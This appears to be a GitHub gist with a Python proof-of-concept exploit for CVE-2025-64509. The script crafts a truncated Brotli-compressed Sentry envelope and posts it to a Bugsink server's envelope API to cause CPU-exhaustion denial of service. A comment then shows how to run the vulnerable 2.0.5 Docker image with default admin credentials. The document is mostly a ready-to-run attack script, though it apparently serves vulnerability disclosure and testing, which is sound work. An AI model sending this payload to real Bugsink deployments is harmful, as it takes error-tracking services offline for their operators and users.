Skip to content

Instantly share code, notes, and snippets.

@fyxme
Last active November 13, 2025 04:29
Show Gist options
  • Select an option

  • Save fyxme/c1bb7f7883446fde1663777575628ca9 to your computer and use it in GitHub Desktop.

Select an option

Save fyxme/c1bb7f7883446fde1663777575628ca9 to your computer and use it in GitHub Desktop.
CVE-2025-64509 - Bugsink is vulnerable to unauthenticated remote DoS via crafted Brotli input (via CPU)
#!/usr/bin/env python3
"""
Proof of Concept for Bugsink Brotli Decompression DoS Vulnerability
This script sends a crafted Brotli-compressed envelope to a Bugsink server,
demonstrating the CPU exhaustion vulnerability in versions before 2.0.6.
The vulnerability allows an attacker with knowledge of the DSN to send
specially crafted Brotli-compressed data that causes excessive CPU usage
during decompression, leading to denial of service.
ref: https://github.com/advisories/GHSA-rrx3-2x4g-mq2h
"""
import brotli
import requests
import uuid
import json
import sys
def create_malicious_envelope(dsn, project_id):
"""
Create a crafted Brotli input that causes infinite loop in decompression.
The vulnerability is in brotli_generator where the loop can run forever
if the decompressor can't accept more data but process(b"") doesn't produce
output and doesn't finish.
To trigger this, we create a truncated or malformed Brotli stream.
"""
event_id = str(uuid.uuid4())
event_data = {
"event_id": event_id,
"message": "POC DoS attack via crafted Brotli input",
"level": "error",
"platform": "python"
}
envelope_headers = {
"event_id": event_id,
"dsn": dsn,
"sent_at": "2025-11-12T22:00:00.000000Z"
}
item_headers = {
"type": "event",
"length": len(json.dumps(event_data).encode())
}
# Construct the envelope
envelope = (
json.dumps(envelope_headers) + "\n" +
json.dumps(item_headers) + "\n" +
json.dumps(event_data) + "\n"
).encode()
# Compress with Brotli
compressed = brotli.compress(envelope)
# Craft malicious input: truncate the compressed data to create
# an incomplete Brotli stream that causes the decompressor to get stuck
malicious_compressed = compressed[:-10] # Remove last 10 bytes to make it invalid
return malicious_compressed
def send_malicious_request(host, project_id, dsn):
"""
Send the malicious Brotli-compressed envelope to the Bugsink server.
"""
malicious_payload = create_malicious_envelope(dsn, project_id)
# edit to https if needed
url = f"http://{host}/api/{project_id}/envelope/"
headers = {
"Content-Encoding": "br",
"Content-Type": "application/x-sentry-envelope",
"User-Agent": "Bugsink-POC/1.0"
}
print(f"Sending malicious Brotli payload to {url}")
print(f"Payload size: {len(malicious_payload)} bytes")
print("This crafted input should cause excessive CPU usage during decompression.")
try:
response = requests.post(url, data=malicious_payload, headers=headers, timeout=30)
print(f"Response status: {response.status_code}")
print(f"Response: {response.text[:200]}...")
except requests.exceptions.Timeout:
print("Request timed out - potential DoS successful")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python poc.py <host> <dsn>")
print("Example: python poc.py bugsink.example.com https://[email protected]/123")
sys.exit(1)
host = sys.argv[1]
dsn = sys.argv[2]
# Extract project_id from DSN
# DSN format: https://public_key@host/project_id
try:
project_id = dsn.split('/')[-1]
except:
print("Invalid DSN format")
sys.exit(1)
send_malicious_request(host, project_id, dsn)
@fyxme
Copy link
Author

fyxme commented Nov 13, 2025

Running a vulnerable version

docker run \
  -e SECRET_KEY=yIUqsHPyBkxMpWRmMYobWRc3IxWMPKw7SnUVeFy1xNRth7Sgcl \
  -e CREATE_SUPERUSER=admin:admin \
  -e PORT=8000 \
  -p 8000:8000 \
  bugsink/bugsink:2.0.5

You need to create a new team and new project (unsure about visibility)

Example crash

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment